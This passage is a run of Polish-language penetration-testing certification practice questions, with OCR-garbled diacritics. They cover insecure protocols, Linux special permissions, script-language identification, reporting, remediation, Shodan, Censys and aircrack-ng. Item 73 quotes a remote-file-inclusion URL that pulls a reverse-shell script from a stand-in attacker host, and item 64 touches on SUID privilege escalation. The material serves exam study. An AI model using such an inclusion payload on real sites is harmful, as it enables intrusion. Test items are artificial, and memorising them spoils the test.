C. Przeszukaj strone internetowg Zespotu Reagowania na Awarie Komputerowe (CERT).

D. Zadaj pytanie na forum testéw penetracyjnych.

62. Ktére z ponizszych sg uwazane za niezabezpieczone ustugi lub protokoty? (Wybierz dwa.)
A. LDAPS

B. SSH

C.FTP

D. Telnet

E. HTTPS



63. Ktdra z ponizszych moze zostaé uznana za niezabezpieczong ustuge lub konfiguracje protokotu?
(Wybierz dwa.)

A. Uzywanie SSHv1 zamiast SSHv2

B. Uzywanie SNMPv3 zamiast SNMPv1
C. Uzywanie WPA2 zamiast WEP

D. Uzywanie SSL 2.0 zamiast TLS 1.2

64. Podczas testu penetracyjnego nalezy uzy¢ eskalacji uprawnien w systemie Linux. Jakich funkcji
systemu operacyjnego mozna uzy¢, aby umozliwi¢ uruchamianie pliku wykonywalnego z
uprawnieniami administratora? (Wybierz dwa.)

A. Uruchamianie go jako administrator

B. Przypisanie specjalnego uprawnienia SGID

C. Przypisanie specjalnego uprawnienia SUID

D. Uruchamianie go z podrzednej sesji powtoki BASH
E. Przypisz uprawnienie do bitow przyklejonych

65. Ktére specjalne uprawnienie Linuksa, po przypisaniu do katalogu, uniemozliwia uzytkownikom
usuwanie plikéw, ktérych nie sg witascicielami, nawet jesli majg uprawnienia do zapisu i wykonywania
w tym katalogu?

A.SGID

B. SUID

C. Lepki bit

D. Ret2libc

66. Rozwaz nastepujacy fragment ze skryptu:
if x>2

puts "x is greater than 2"

else

puts "x is less than or equal to 2"

end

W jakim jezyku skryptowym jest napisany ten fragment kodu?
A. Rubin

B. PowerShell

C.Bash

D. Python

67. Rozwaz nastepujacy fragment ze skryptu:



If (x -eq 2) {

"This number is 2'

} Else {

'This number is not 2'

}

W jakim jezyku skryptowym jest napisany ten fragment kodu?
A. Rubin

B. PowerShell

C. Bash

D. Python

68. Rozwaz nastepujacy fragment ze skryptu:
if test -f SFileName; then

echo "The file exists."

else

echo "The file does not exist."

fi

W jakim jezyku skryptowym jest napisany ten fragment kodu?
A. Rubin

B. PowerShell

C. Bash

D. Python

69. W skrypcie Bash musisz poprosi¢ uzytkownika o wybranie jednej z siedmiu réznych opcji
przedstawionych w poleceniu echo. Ktdra struktura kontroli najlepiej oceni dane wejsciowe
uzytkownika i uruchomi odpowiedni zestaw polecen?

A. petla while

B. petla for

C. petla until

D. if/then/else

E. case

70. Ktdra struktura kontrolna bedzie przetwarzaé w koétko, az okreslony warunek okaze sie fatszywy?
A. petla while

B. petla for



C. petla until
D. if/then/else
E. case

71. Tester penetracyjny pisze raport, ktéry przedstawia ogdlny poziom ryzyka dla operacji. W ktorej
czesci raportu tester powinien zawrze¢ te informacje?

A. Zataczniki

B. Streszczenie wykonawcze
C. Korpus gtéwny

D. Podsumowanie techniczne

72. Podczas testéw penetracyjnych podstawowego serwera klienta tester wykrywa krytyczng luke w
zabezpieczeniach. Co powinien zrobic tester dalej?

A. Zakoncz testowanie, uzupetnij wszystkie wyniki, a nastepnie przeslij je klientowi.
B. Niezwtocznie powiadomic klienta o szczegdtach ustalen.

C. Na komputerze docelowym wytgcz port sieciowy ustugi, ktorej dotyczy problem.
D. Przetacz maszyne docelowg w tryb offline, aby nie mozna byto jej wykorzystac.

73. Analityk bezpieczenstwa monitoruje dzienniki zapory aplikacji sieci Web (WAF) i odkryt, ze nastapit
pomysiny atak na nastepujacy adres URL:

https://sample.com/index.php?Phone=http://iattackedyou.com/stuffhappens/revshell.php. Jakie
kroki naprawcze nalezy podja¢, aby zapobiec ponownemu wystgpieniu tego typu ataku?

A. Blokuj przekierowania adreséw URL.

B. Podwdjny adres URL zakoduj parametry.

C. Z poziomu aplikacji zatrzymaj potgczenia zewnetrzne.
D. Zaimplementuj czarna liste.

74. Korzystajac z phishingu, penetrator byt w stanie uzyska¢ wstepne dane uwierzytelniajgce domeny
uzytkownika VPN od cztonka dziatu IT. Nastepnie tester uzyskat skréty przez VPN i bez wysitku je ztamat
za pomocy ataku stownikowego. Tester powinien zaleci¢ klientowi, ktéry z ponizszych krokéw
naprawczych? (Wybierz trzy.)

A. Zalecamy zwiekszone wymagania dotyczgce ztozonosci hasta.

B. Zalecamy wdrozenie uwierzytelniania dwusktadnikowego dla zdalnego dostepu.

C. Zalecamy zainstalowanie systemu zapobiegania wtamaniom.

D. Zalecamy zainstalowanie rozwigzania do monitorowania zdarzen zwigzanych z bezpieczeristwem.
E. Zalecenie uniemozliwienia cztonkom dziatu IT interaktywnego logowania sie jako administratorzy.
F. Zalecenie, aby wszyscy pracownicy przeszli szkolenie w zakresie Swiadomosci bezpieczenstwa.

G. Zalecamy uaktualnienie pakietu szyfrowania uzywanego w rozwigzaniu VPN.



75. Po zakonczeniu testowania aplikacji dostepnej w Internecie, tester penetracyjny zauwaza, ze
aplikacja korzysta tylko z uwierzytelniania podstawowego. Jaka jest najlepsza strategia naprawcza,
ktdrg tester powinien polecic¢ klientowi?

A. Wiacz HTTP Strict Transport Security (HSTS)

B. Wiacz flage bezpiecznych plikéw cookie

C. Zaszyfruj kanat komunikacyjny

D. Oczys¢ nieprawidtowe dane wprowadzone przez uzytkownika

76. Niestandardowe systemy hostowane w Srodowiskach stron trzecich, takie jak te oferowane przez
dostawce ustug w chmurze (CSP), mogg wymagac dodatkowych zezwolen na testy penetracyjne. Ktory
dokument testowy moze odzwierciedlac to zatwierdzenie?

A.SOW
B. RoE

C. MSA
D. Zakres

77. Podczas korzystania z Shodan zespdt pentestdw bada otwarte porty i ustugi dla publicznego
serwera internetowego organizacji. Ktorg z ponizszych opcji zespot testerow moze uzyé w kryteriach
wyszukiwania jako filtru zwracajgcego tylko wyniki z HTTP? (Wybierz najlepsza opcje.)

A. Port HTTP: 23
B. Port HTTP: 88
C. Port HTTP: 80
D. Port HTTPS: 443

78. W widoku Hosty IPv4 w Censys uzytkownik ma mozliwosé zastosowania filtru, klikajac wybér w
nastepujacych kategoriach, z wyjatkiem ktorej?

A. Filtruj wedtug AS

B. Filtruj wedtug portu

C. Filtruj wedtug protokotu
D. Filtruj wedtug tagéw

79. Nazywa sie zestaw narzedzi, ktdre zapewniajg mozliwosci prowadzenia monitoringu komunikacji
radiowej i audytu bezpieczenstwa sieci bezprzewodowe;j?

A. airman-ng
B. aircrack-ng
C. airmon-ng
D. airmmn-ng

80. Przed uzyciem airmon-ng, w jakim trybie nalezy skonfigurowac karte sieci bezprzewodowe;j?



A. Tryb zarzadzania
B. Tryb monitora
C. Tryb wtrysku

D. Tryb famania



